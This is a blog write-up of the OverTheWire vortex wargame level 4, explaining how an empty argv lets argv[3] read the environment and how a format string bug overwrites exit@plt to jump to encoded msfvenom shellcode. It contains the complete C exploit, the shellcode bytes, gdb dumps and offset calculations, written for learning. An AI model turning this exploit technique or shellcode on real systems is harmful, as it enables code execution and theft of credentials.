Klaus' Log

Mi 30 Januar 2019

Overthewire vortex Wargame - Level 4

Posted by Klaus Eisentraut in ctf   

This is a post from my vortex Wargame series. Please find the links to my previous solutions here: Level #0 and #1, Level #2, Level #3.

Level 4

Level #4 was a very interesting one! I've learned a lot about how environment variables work in Linux and some gdb tricks. But now, let's take a look at the challenge! The provided source code looks like this:

int main(int argc, char **argv)
{
        if(argc) exit(0);
        printf(argv[3]);
        exit(EXIT_FAILURE);
}

Part 1 - Bypassing the argc check

At first, this format string vulnerability might seem impossible to exploit, because we access argv[3], but argc must be zero, otherwise the program will terminate. But if argc is zero, argv[3] must be already an out-of-bound read. So what does it read then?

Taking a closer look at the stack layout for i386, we learn that the stack looks like:

...
argc
argv pointers
NULL that ends argv[]
environment pointers
NULL that ends envp[]
...

envp[] is the environment of a process, and we can control this when executing a process! What we need to do, is to execute this program with zero arguments. Then, argc will be 0 and the argv-pointers will not exist. If we execute our vortex4 binary like this, argv[3] will point to the following:

  • argv[0] is the NULL that ends argv[]
  • argv[1] is envp[0]
  • argv[2] is envp[1]
  • argv[3] is envp[2]

Let's try this! First, I tried to use Python's os.execve function, but this failed. Obviously, Python does not allow an empty argv[] array:

Traceback (most recent call last):
  File "test.py", line 2, in <module>
    os.execve('/vortex/vortex4', [],  ['asdf'])
ValueError: execve: argv must not be empty

So, I had to use C instead of Python:

/* part1.c */
#include <unistd.h>
#include <stdio.h>
int main()
{
    char* argv[] = {NULL};
    char* const envp[8] = {"AAAA", "BBBB", "CCCC", NULL};
    execve("./vortex4", argv, envp);

    // this should never be called
    puts("execve failed...");
    return 0x42;
}

After compiling it with gcc -o part1 part1.c, it worked as expected and the printf wrote the value I've stored in envp[2]:

$ ./part1 
CCCC

Part 2 - Exploiting the format string vulnerability

Now, we are ready for the second part of this challenge, the actual exploiting. This is a standard format string overflow and I strongly recommend to watch this video from liveoverflow for explanations.

Like in the hard part of level #3 before, we need to overwrite the exit@plt address. If we write an arbitrary address to 0x0804a014, the instruction flow will jump to this address.

$ objdump -S -M intel vortex4 
[... snip ...]
08048330 <exit@plt>:
 8048330:   ff 25 14 a0 04 08       jmp    DWORD PTR ds:0x804a014
 8048336:   68 10 00 00 00          push   0x10
 804833b:   e9 c0 ff ff ff          jmp    8048300 <.plt>
[... snip ...]

We also need to store our payload in an executable region of the memory. As the stack is executable here, my solution will simply put the payload into stack. In my solution, we simply will use envp[1] in order to store it.

We will also overwrite the shellcode address to 0x0804a014 in two steps where we write two bytes each by using two %ns in the format string. Therefore, we will need to store the addresses 0x0804a014 and 0x0804a016 somewhere where we can access them easily. We choose to prepend them simply in front of the actual payload.

Also, for correct 4 byte alignment, we will later see that we need to store three bytes junk between of them. Our preliminary exploit source code where the format string is for now only a constant string looks like:

#include <unistd.h>

unsigned char payload[] = 
// memory addresses where we want to write to (in little endian)
"\x14\xa0\x04\x08"
"\x16\xa0\x04\x08"
// junk for alignment
"AA"
// msfvenom -p linux/x86/exec -a x86 CMD="/bin/cat /etc/vortex_pass/vortex5" --format=c -e x86/shikata_ga_nai
// Payload size: 96 bytes
"\xb8\x11\xd3\x5c\x03\xdb\xd8\xd9\x74\x24\xf4\x5f\x33\xc9\xb1"
"\x12\x83\xc7\x04\x31\x47\x0f\x03\x47\x1e\x31\xa9\x69\x2b\xed"
"\xcb\x3c\x4d\x65\xc1\xa3\x18\x92\x71\x0b\x69\x35\x82\x3b\xa2"
"\xa7\xeb\xd5\x35\xc4\xbe\xc1\x67\x0b\x3f\x12\x48\x69\x56\x7c"
"\xb9\x0e\xc9\xf4\xe5\xff\x6c\x81\x86\xd0\x18\x06\x3a\x5b\x80"
"\xa0\xe5\xd3\x2b\x22\x6a\x3b\xda\xab\xfe\x37\x47\x4c\xcb\xb7"
"\xd0\xff\xba\x59\x13\x7f";

// python -c "print('A'*256)"
unsigned char formatstr[] = 
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

int main(int argc, char *argv[]) {
    char* argv_new[] = {NULL};
    char* const envp_new[] = {"", payload, formatstr, NULL};
    execve("/vortex/vortex4", argv_new, envp_new);
}

All what is left to do is to find the offsets required in the actual format string. We have two big problems with gdb which we need to overcome here:

  • We are starting a new process here. gdb needs to be instructed to debug the new process. We need to run set follow-fork-mode child in order to do that.
  • gdb somehow adds additional environment variables. Therefore, the stack addresses are different when debugging and when doing the actual exploit. After reading this stackoverflow answer, my solution was to use set exec-wrapper env -i.

Now, we are ready to run and debug the program in order to calculate the offsets:

vortex4@vortex:~$ gdb ./win 
[... snip ...]
(gdb) set disassembly-flavor intel
(gdb) set follow-fork-mode child
(gdb) set exec-wrapper env -i
(gdb) break main 
Breakpoint 1 at 0x400531
(gdb) run 
Starting program: /home/vortex4/win 

Breakpoint 1, 0x0000000000400531 in main ()
(gdb) cont
Continuing.
process 526 is executing new program: /vortex/vortex4

Breakpoint 1, 0x08048450 in main ()
(gdb) break *0x08048473 
Breakpoint 2 at 0x8048473
(gdb) cont
Continuing.

Breakpoint 2, 0x08048473 in main ()
(gdb) x/400x $esp
0xffffdcf0: 0xffffdee7  0xf7ffd000  0x0804849b  0xf7fcc000
0xffffdd00: 0x08048490  0x00000000  0x00000000  0xf7e3bad3
[... snip ...]
0xffffde70: 0x00000000  0x00000000  0x00000000  0x0804a014
0xffffde80: 0x0804a016  0x11b84141  0xdb035cd3  0x2474d9d8
0xffffde90: 0xc9335ff4  0xc78312b1  0x0f473104  0x311e4703
0xffffdea0: 0xed2b69a9  0x654d3ccb  0x9218a3c1  0x35690b71
0xffffdeb0: 0xa7a23b82  0xc435d5eb  0x0b67c1be  0x6948123f
0xffffdec0: 0x0eb97c56  0xffe5f4c9  0xd086816c  0x5b3a0618
0xffffded0: 0xd3e5a080  0x3b6a222b  0x37feabda  0xb7cb4c47
0xffffdee0: 0x59baffd0  0x41007f13  0x41414141  0x41414141
0xffffdef0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffdf00: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffdf10: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffdf20: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffdf30: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffdf40: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffdf50: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffdf60: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffdf70: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffdf80: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffdf90: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffdfa0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffdfb0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffdfc0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffdfd0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffdfe0: 0x41414141  0x00414141  0x726f762f  0x2f786574
0xffffdff0: 0x74726f76  0x00347865  0x00000000  0x00000000
0xffffe000: Cannot access memory at address 0xffffe000

We can see that the shellcode resides at address 0xffffde86. In fact, we double check that the shellcode works by manually overwriting the address with this value:

(gdb) set *0x804a014=0xffffde86 
(gdb) cont
Continuing.
process 526 is executing new program: /bin/dash
Warning:
Cannot insert breakpoint 2.
Cannot access memory at address 0x8048473

All we need to do now is to do the set *0x804a014=0xffffde86 by exploiting the format string. As we have already put two pointers at the memory addresses 0xffffde7c and 0xffffde80, this is easy. We simply calculate the relative offset from $esp to our pointers. As (0xffffde7c - 0xffffdcf0) // 4 is 99 and we want to write the values 0xde7c and then 0xffff, the format string will look like:

%56956x  # write 56956 or 0xde7c bytes of output
%99$n    # dereference the first pointer and write something like 0x....DE7C in little endian to it
%8569x   # write more output until we have reached 65535 or 0xFFFF 
%100$n   # dereference the second pointer and write something like 0x....FFFF in little endian to it

This format string will be put into the beginning of the variable formatstr of our source code from above, but we don't want to change the total length of this string. Otherwise, the addresses would change and we would need to recalculate the offsets again.

Our final program is therefore:

/* win.c */
#include<unistd.h>

unsigned char payload[] = 
"\x14\xa0\x04\x08"
"\x16\xa0\x04\x08"
"AA"
// msfvenom -p linux/x86/exec -a x86 CMD="/bin/cat /etc/vortex_pass/vortex5" --format=c -e x86/shikata_ga_nai
// Payload size: 96 bytes
"\xb8\x11\xd3\x5c\x03\xdb\xd8\xd9\x74\x24\xf4\x5f\x33\xc9\xb1"
"\x12\x83\xc7\x04\x31\x47\x0f\x03\x47\x1e\x31\xa9\x69\x2b\xed"
"\xcb\x3c\x4d\x65\xc1\xa3\x18\x92\x71\x0b\x69\x35\x82\x3b\xa2"
"\xa7\xeb\xd5\x35\xc4\xbe\xc1\x67\x0b\x3f\x12\x48\x69\x56\x7c"
"\xb9\x0e\xc9\xf4\xe5\xff\x6c\x81\x86\xd0\x18\x06\x3a\x5b\x80"
"\xa0\xe5\xd3\x2b\x22\x6a\x3b\xda\xab\xfe\x37\x47\x4c\xcb\xb7"
"\xd0\xff\xba\x59\x13\x7f";

// python -c "print('A'*256)"
unsigned char formatstr[] = 
"%56966x%99$n%8569x%100$n"
//"AAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

int main(int argc, char *argv[]) {
    char* argv_new[] = {NULL};
    char* const envp_new[] = {"", payload, formatstr, NULL};
    execve("/vortex/vortex4", argv_new, envp_new);
}

When this is run, we see a lot of 65535 bytes of mostly empty output from the printf call and the the password:

[... snip ...] 
804849bA:4[...]lr